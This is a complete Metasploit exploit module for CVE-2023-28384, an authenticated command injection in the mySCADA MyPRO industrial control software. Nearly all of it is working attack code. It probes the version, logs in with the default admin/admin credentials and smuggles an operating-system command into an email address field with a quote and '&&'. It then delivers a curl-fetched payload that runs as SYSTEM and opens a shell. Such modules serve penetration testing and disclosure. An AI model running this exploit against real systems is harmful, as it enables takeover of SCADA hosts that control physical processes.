class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)', 'Description' => %q{ Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA. The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module 'References' => [ [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'], [ 'CVE', '2023-28384'] ], 'DisclosureDate' => '2022-09-22', 'Platform' => 'win', 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, 'Type' => :win_fetch } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new( 'USERNAME', [ true, 'The username to authenticate with (default: admin)', 'admin' ] ), OptString.new( 'PASSWORD', [ true, 'The password to authenticate with (default: admin)', 'admin' ] ), OptString.new( 'TARGETURI', [ true, 'The URI for the MyPRO web interface', '/' ] ) ] ) end # Determine if the MyPRO instance runs a vulnerable version def check begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'l.fcgi'), 'vars_post' => { 't' => '98' } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError return CheckCode::Unknown end if res && res.code == 200 data = res.get_json_document version = data['V'] if version.nil? return CheckCode::Unknown else vprint_status('Version retrieved: ' + version) end if Rex::Version.new(version) <= Rex::Version.new('8.28') return CheckCode::Appears else return CheckCode::Safe end else return CheckCode::Unknown end end def exploit execute_command(payload.encoded) end def execute_command(cmd) print_status('Checking credentials...') check_auth print_status('Sending command injection...') exec_mypro(cmd) print_status('Exploit finished, check thy shell.') end # Check if credentials are working def check_auth res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sss2'), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) } }) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end case res.code when 200 print_good('Credentials are working.') when 401 fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?') else fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') end end # Send command injection def exec_mypro(cmd) post_data = { 'type' => 'sendEmail', 'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}" } post_json = JSON.generate(post_data) res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'data' => post_json, 'uri' => normalize_uri(target_uri.path, 'sss2'), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) } }) # We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response. if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. print_good('Command successfully executed, check your shell.') end end end